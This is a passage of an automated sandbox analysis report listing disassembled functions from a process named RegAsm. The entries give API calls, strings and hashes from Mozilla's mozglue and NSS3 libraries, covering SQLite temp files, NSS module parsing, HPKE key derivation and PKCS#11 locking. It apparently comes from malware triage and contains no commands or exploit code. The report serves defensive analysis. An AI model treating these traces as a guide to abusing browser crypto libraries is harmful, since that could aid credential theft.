moz_xmalloc.MOZGLUE(00000018), ref: 6C8745BB
InitOnceExecuteOnce.KERNEL32(6C8EF818,6C86F240,?,?), ref: 6C874612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C874636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C874644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C87466D
VerSetConditionMask.NTDLL ref: 6C87469F
VerSetConditionMask.NTDLL ref: 6C8746AB
VerSetConditionMask.NTDLL ref: 6C8746B2
VerSetConditionMask.NTDLL ref: 6C8746B9
VerSetConditionMask.NTDLL ref: 6C8746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C8746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C8746FD

Strings

kernel32.dll, xrefs: 6C8744CD
user32.dll, xrefs: 6C874557, 6C87463F
WRusr.dll, xrefs: 6C8744B5
l, xrefs: 6C874578
NativeNtBlockSet_Write, xrefs: 6C8746F7

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 2131cee23feb41b320913551fa3e4bf062c9ce67a9655ed98bf66768b771830e
Instruction ID: 7f18cfbeaeb544b241eb118b7a44d56ab74a95461fbf356a5643b689d5b00e7f
Opcode Fuzzy Hash: 2131cee23feb41b320913551fa3e4bf062c9ce67a9655ed98bf66768b771830e
Instruction Fuzzy Hash: 7B61E4B0600358AFEB708F65DE45BA977B8EFDB70CF048968E5049B641E7709A44CFA1

Function 6CA56E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90CA30: EnterCriticalSection.KERNEL32(?,?,?,6C96F9C9,?,6C96F4DA,6C96F9C9,?,?,6C93369A), ref: 6C90CA7A
Part of subcall function 6C90CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C90CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C91BE66), ref: 6CA56E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C91BE66), ref: 6CA56E98
sqlite3_snprintf.NSS3(?,00000000,6CABAAF9,?,?,?,?,?,?,6C91BE66), ref: 6CA56EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C91BE66), ref: 6CA56ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C91BE66), ref: 6CA56EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C91BE66), ref: 6CA56F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA56F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA56F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C91BE66), ref: 6CA56FA6
sqlite3_snprintf.NSS3(?,00000000,6CABAAF9,00000000,?,?,?,?,?,?,?,6C91BE66), ref: 6CA56FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA56FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA56FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA57014
sqlite3_free.NSS3(00000000,?,?,?,?,6C91BE66), ref: 6CA5701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C91BE66), ref: 6CA57030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C91BE66), ref: 6CA5705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C91BE66), ref: 6CA57079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA57097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C91BE66), ref: 6CA570A0

Strings

mz_etilqs_, xrefs: 6CA56F18
winGetTempname5, xrefs: 6CA57071
winGetTempname2, xrefs: 6CA570C4
winGetTempname4, xrefs: 6CA57046
winGetTempname1, xrefs: 6CA5708F

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 1b0e0666eea2f721947e6de33d7c2ab1970f54ce1ddf8737a6f3f5766bff289b
Instruction ID: 645cc8652e930027a2848d5be041f482dc4e857b2e5adff1261440433967c66d
Opcode Fuzzy Hash: 1b0e0666eea2f721947e6de33d7c2ab1970f54ce1ddf8737a6f3f5766bff289b
Instruction Fuzzy Hash: 75515CB1B152116BE30456309C51FBB36669FA2318F58C538E805E6BC2FB35D96E82E3

Function 6C9E4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9975C2,00000000,00000000,00000001), ref: 6C9E5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9975C2,00000000), ref: 6C9E5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9E505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C9E5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C9E50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9975C2), ref: 6C9E50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9E50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9E50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E5153
free.MOZGLUE(?), ref: 6C9E516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C9E517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9E5195

Strings

library=, xrefs: 6C9E5043
config=, xrefs: 6C9E509B
parameters=, xrefs: 6C9E506B
nss=, xrefs: 6C9E5083
name=, xrefs: 6C9E5057

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 5e89736a3d69aaaeb7a15bd637d4f215a57e327ceb79fd7363277cba3d448b0a
Instruction ID: 6c97279eeb9e0aea2030ce8386ad14c8c4d0c4ea14b3f6a3125774bd69ed3d30
Opcode Fuzzy Hash: 5e89736a3d69aaaeb7a15bd637d4f215a57e327ceb79fd7363277cba3d448b0a
Instruction Fuzzy Hash: DA51ECB5A012069BEB02DF30DD01AAE37BC6F29348F540424FC19D7741EB25EA19C7B2

Function 6C9E4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C9D4F51,00000000), ref: 6C9E4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9D4F51,00000000), ref: 6C9E4C5B
PR_smprintf.NSS3(6CABAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C9D4F51,00000000), ref: 6C9E4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C9D4F51,00000000), ref: 6C9E4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9E4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9E4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9E4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9D4F51,00000000), ref: 6C9E4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9D4F51,00000000), ref: 6C9E4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C9E4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C9E4DA2
free.MOZGLUE(?), ref: 6C9E4DB9
free.MOZGLUE(00000000), ref: 6C9E4DCF

Strings

rootFlags, xrefs: 6C9E4D47
every, xrefs: 6C9E4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C9E4D9D
any, xrefs: 6C9E4C96
timeout, xrefs: 6C9E4C91
slotFlags, xrefs: 6C9E4D34
%s,%s, xrefs: 6C9E4C4B
ootT, xrefs: 6C9E4D1A
0x%08lx=[%s %s], xrefs: 6C9E4D80
rust, xrefs: 6C9E4D22

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 7b5cdaa445c1911fe3409fb9e4e1c3989fea8e172cb967bc7438ef2ac2573765
Instruction ID: 044829892e9309b61f1714f2f044c4f65936ea87a3528e9a346a0f7ca5e7b53e
Opcode Fuzzy Hash: 7b5cdaa445c1911fe3409fb9e4e1c3989fea8e172cb967bc7438ef2ac2573765
Instruction Fuzzy Hash: 31417CB19001466BDB135F989C416BA3779AFBA30CF588124E8155BB01E735F8A4CBE3

Function 6C9B08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C9B094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C9B096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C9B0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C9B098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C9B0995

Part of subcall function 6C9B1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9B1860
Part of subcall function 6C9B1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9B09BF), ref: 6C9B1897
Part of subcall function 6C9B1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9B18AA
Part of subcall function 6C9B1800: memcpy.VCRUNTIME140(?,?,?), ref: 6C9B18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9B0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9B0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9B0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C9B0B78

Strings

key, xrefs: 6C9B0ACB
exp, xrefs: 6C9B0B36
psk_id_hash, xrefs: 6C9B09B5
secret, xrefs: 6C9B0A88
base_nonce, xrefs: 6C9B0B06
info_hash, xrefs: 6C9B09E0

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: f3d62833e5acb8335bede386894498337544bd455ee31f1e07b2c8ec83c5970b
Instruction ID: a38948cee3ada9b202ef388d3bea6a5c25eabc1bc3d9c44f9933734a9e17129a
Opcode Fuzzy Hash: f3d62833e5acb8335bede386894498337544bd455ee31f1e07b2c8ec83c5970b
Instruction Fuzzy Hash: AA8169B5604305AFC700CF64C980D9AF7E8FF98708F048959F999A7751E731EA19CBA2

Function 6C9C2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C9C2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C9C2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9C2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9C2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C994F1C,?,-00000001,00000000,?), ref: 6C9C2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C994F1C,?,-00000001,00000000), ref: 6C9C2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9C2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9C2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9C2EF8
PR_Unlock.NSS3(?), ref: 6C9C2F62
TlsGetValue.KERNEL32 ref: 6C9C2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9C2F9E
PR_Unlock.NSS3(?), ref: 6C9C2FCA
TlsGetValue.KERNEL32 ref: 6C9C301A
EnterCriticalSection.KERNEL32(?), ref: 6C9C302E
PR_Unlock.NSS3(?), ref: 6C9C3066
PR_SetError.NSS3(00000000,00000000), ref: 6C9C3085
PR_Unlock.NSS3(?), ref: 6C9C30EC
TlsGetValue.KERNEL32 ref: 6C9C310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9C3124
PR_Unlock.NSS3(?), ref: 6C9C314C

Part of subcall function 6C9A9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C9D379E,?,6C9A9568,00000000,?,6C9D379E,?,00000001,?), ref: 6C9A918D
Part of subcall function 6C9A9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C9D379E,?,6C9A9568,00000000,?,6C9D379E,?,00000001,?), ref: 6C9A91A0

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

PR_SetError.NSS3(00000000,00000000), ref: 6C9C316D

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 49819791dd52410e988b46bd8137c74da2cbb76946611a9062b2bb5fc3bb7883
Instruction ID: e855fe4e054d98b2225e7d8a36fb261f5b58efa5bc86638db85a1b4fca1bc0fd
Opcode Fuzzy Hash: 49819791dd52410e988b46bd8137c74da2cbb76946611a9062b2bb5fc3bb7883
Instruction Fuzzy Hash: 2DF1BFB1E006099FDF04DF64D844BD9BBB8BF09318F548168EC04A7711EB35E996CB92

Function 6C9C6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C9C6943
Part of subcall function 6C9C6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C9C6957
Part of subcall function 6C9C6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C9C6972
Part of subcall function 6C9C6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C9C6983
Part of subcall function 6C9C6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C9C69AA
Part of subcall function 6C9C6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C9C69BE
Part of subcall function 6C9C6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C9C69D2
Part of subcall function 6C9C6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C9C69DF
Part of subcall function 6C9C6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C9C6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9C6D8C
free.MOZGLUE(00000000), ref: 6C9C6DC5
free.MOZGLUE(?), ref: 6C9C6DD6
free.MOZGLUE(?), ref: 6C9C6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9C6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9C6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9C6E72
free.MOZGLUE(?), ref: 6C9C6EA7
free.MOZGLUE(?), ref: 6C9C6EC4
free.MOZGLUE(?), ref: 6C9C6ED5
free.MOZGLUE(00000000), ref: 6C9C6EE3
free.MOZGLUE(?), ref: 6C9C6EF4
free.MOZGLUE(?), ref: 6C9C6F08
free.MOZGLUE(00000000), ref: 6C9C6F35
free.MOZGLUE(?), ref: 6C9C6F44
free.MOZGLUE(?), ref: 6C9C6F5B
free.MOZGLUE(00000000), ref: 6C9C6F65

Part of subcall function 6C9C6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C9C781D,00000000,6C9BBE2C,?,6C9C6B1D,?,?,?,?,00000000,00000000,6C9C781D), ref: 6C9C6C40
Part of subcall function 6C9C6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C9C781D,?,6C9BBE2C,?), ref: 6C9C6C58
Part of subcall function 6C9C6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C9C781D), ref: 6C9C6C6F
Part of subcall function 6C9C6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C9C6C84
Part of subcall function 6C9C6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C9C6C96
Part of subcall function 6C9C6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C9C6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9C6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9C6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C9C6FF4

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: e5486d6fa89c6b4f606121d7f8450f4161dff10f5f18388e9f307b00d600a8cd
Instruction ID: fb4bd349fb81ca154ef8e639c761cdd227a1f27ab998ae39b3d4f55f8a198af3
Opcode Fuzzy Hash: e5486d6fa89c6b4f606121d7f8450f4161dff10f5f18388e9f307b00d600a8cd
Instruction Fuzzy Hash: A0B192B0F012199FDF00DBA5D845BAEBBB9BF09348F140025E815E7641E735E965CBA3

Function 6C9C4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C9C4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C9C4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4DB7

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

TlsGetValue.KERNEL32 ref: 6C9C4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C9C4DEC
PR_Unlock.NSS3(?), ref: 6C9C4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C9C4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C9C4E71
free.MOZGLUE(00000000), ref: 6C9C4E7A
PR_Unlock.NSS3(?), ref: 6C9C4EA2
TlsGetValue.KERNEL32 ref: 6C9C4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C9C4ED6
